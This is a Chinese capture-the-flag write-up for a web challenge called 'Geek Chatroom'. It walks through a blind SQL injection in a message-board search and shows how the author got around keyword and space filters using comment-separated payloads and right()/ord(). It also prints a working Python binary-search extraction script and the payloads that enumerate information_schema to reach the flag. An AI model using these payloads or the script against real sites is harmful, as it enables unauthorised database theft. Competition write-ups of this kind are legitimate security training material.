1. 程式人生 > >第九屆極客大挑戰——Geek Chatroom(sql盲注)

第九屆極客大挑戰——Geek Chatroom(sql盲注)

引言:因為太想加入三葉草了,所以極客大挑戰這段時間一直在努力的學習,原來還真沒想到能在比賽中拿到排行榜第一的成績,不過現在看來努力始終都是有回報的。但我依然還是比較菜啊-.-,最近卻有很多夥伴加我好友,一來就叫我大佬,讓我深感有愧-.-,既然都想看我wp,那我就挑幾道題寫寫好了,口拙詞劣還望見諒。

 

首先觀察這個web應用的功能,可以任意留言,也可以搜尋留言,當然我還用cansina掃描過網站,檢視過原始碼,抓包檢視過header等。沒發現其他提示的情況下斷定這就是個sql注入,可能存在的注入點呢,就是留言時產生 insert into 注入,或者搜尋時產生的 like '%xx%' 注入。經過多次嘗試,發現留言板不存在注入點,注入點就在搜尋功能中。

 

有過網站開發經驗的應該很清楚搜尋功能一般是這樣實現的

select * from users where name like '%tom%';

%是萬用字元,匹配零個或多個字元,這句sql便是查詢users表中所有name欄位裡帶tom的。

 

我猜想該web應用後臺的查詢功能語句如下

select * from message where message like '%xxx%';

所以構造語句 123456789%'# 

可以看到成功搜尋到123456789,因為後臺的語句被拼接成了

select
* from message where message like '%123456789%’#%'

select * from message where message like '%123456789%'

 

當我嘗試union查詢的時候,發現顯示

看來有對某些關鍵字有過濾,union不能用就不能讓後臺資料直接顯示了(也或是存在我不知道的方法),不過到這步我就自然想到sql盲注,於是構造

語句注入成功,and 1 條件為真就可以查到資料,and 0 條件為假便不能查到資料。我這裡用了括號,這是因為經過多次測試,發現對空格也有過濾或者替換,只要出現空格,語句就錯誤,所以便用括號來繞過空格,當然用註釋/**/也是可以的

 

接下來就是常規的sql盲注步驟,要注意的就是這裡過濾了文字擷取函式substr(),mid(),和字元轉ascii碼函式ascii()等,但是沒有過濾left(),right()和ord(),那麼就可以利用right()來擷取字串,雖然截取出來是一段字串,但是用ord()轉換一段字串為ascii碼的話,只會取第一個字元,而且right第二個引數大於字串長度的話是不會有影響的,和等於字串長度的結果相同,例如

rigth('hello',10) == 'hello'
ord('hello') == ord('h')

於是便可以用right()和ord()遍歷每一個字元,猜解整個欄位

ord(right('hello',5)) == ord('h')
ord(right('hello',4)) == ord('e')
ord(right('hello',3)) == ord('l')

 

我用二分法寫了一個盲注的python指令碼,程式碼寫的醜...大家湊合看,當然不用二分法也行,可以逐個字元對比,不過那樣效率極低,極不推薦,至於多執行緒我沒學過就不討論了。其中第16行的有個 .format(str(30-index)) 裡面的30要猜解的當前欄位的長度,這個是一開始任意猜的(當然可以先用length()函式確切的判斷長度,我覺得麻煩還不如自己猜一個)

以下指令碼只演示了猜解當前資料庫名

 1 import requests
 2 import re
 3 
 4 requests=requests.session()
 5 
 6 strall=[]
 7 strall.append('0')
 8 for i in range(33,128):
 9     strall.append(str(i))
10 
11 def isthis(index,charascii,compare):
12     url='http://daedalus.kim:9000/index.php?act=search'
13     headers={
14         'Content-Type': 'application/x-www-form-urlencoded',
15     }
16     data="keyword=123456789%'/**/and/**/ord(right((select/**/database()),{}))".format(str(30-index))+compare+"{}#&submit=Search".format(charascii)
17     print data
18 
19     r=requests.post(url=url,headers=headers,data=data)
20 
21     a=True
22 
23 
24     if r.text.find('There are no messages')>=0:
25         print 'false'
26         a=False
27     else:
28         print 'true'
29         a=True
30 
31 
32 
33     return a
34         
35 ans='' 
36 flag=0
37 for index in range(1,99):
38     left=0
39     right=len(strall)
40     if flag:
41         break
42 
43     while left<=right:
44         mid=(left+right)>>1 
45         if isthis(index,strall[mid],">"):
46             left=mid+1
47         elif isthis(index,strall[mid],"<"):
48             right=mid-1
49         else:
50             if strall[mid]=='0':
51                 flag=1
52                 break
53             value=chr(int(strall[mid]))
54             ans+=value
55             print ans
56             break
57 
58 print ans
59 
60 raw_input('done')

由於我猜的資料庫名是30位,所以這裡出現的即是30個字元,當然很明顯可以看出資料庫就是simple_message_board

 

後面我掉了次坑,我猜解了simple_message_board資料庫裡的所有表名,只有一張message表,猜解message表的所有列名,發現只有id,username,message,並沒有flag,一開始以為有人攪屎,去問了運維發現沒有,而且這題也是我拿的一血,怎麼會有人攪屎呢,於是我就想到flag可能在其他資料庫,所以先來猜解下所有資料庫名,不知道mysql裡的information_schema資料庫的小夥伴可以先去百度一下,這裡我就不多解釋了,反正在這個資料庫裡可以查到所有資料庫名,表名還有列名,在sql注入中經常用到

查所有資料庫名的sql即是

select group_concat(schema_name) from information_schema.schemata

然後把我腳本里的16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{}))".format(str(50-index))+compare+"{}#&submit=Search".format(charascii)

 

這個就很明顯了吧,有個叫做flag的資料庫

 

接著猜解表名,16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

flag資料庫裡有個flag表

 

接著猜列名,16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='flag'/**/and/**/table_name='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

就一列,flag

 

最後猜解欄位,16行改為

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(flag)/**/from/**/flag.flag),{}))".format(str(25-index))+compare+"{}#&submit=Search".format(charascii)

因為我猜的長度是25,所以這裡有25個字元,不過flag是SYC及其後的內容SYC{xxxxxxx}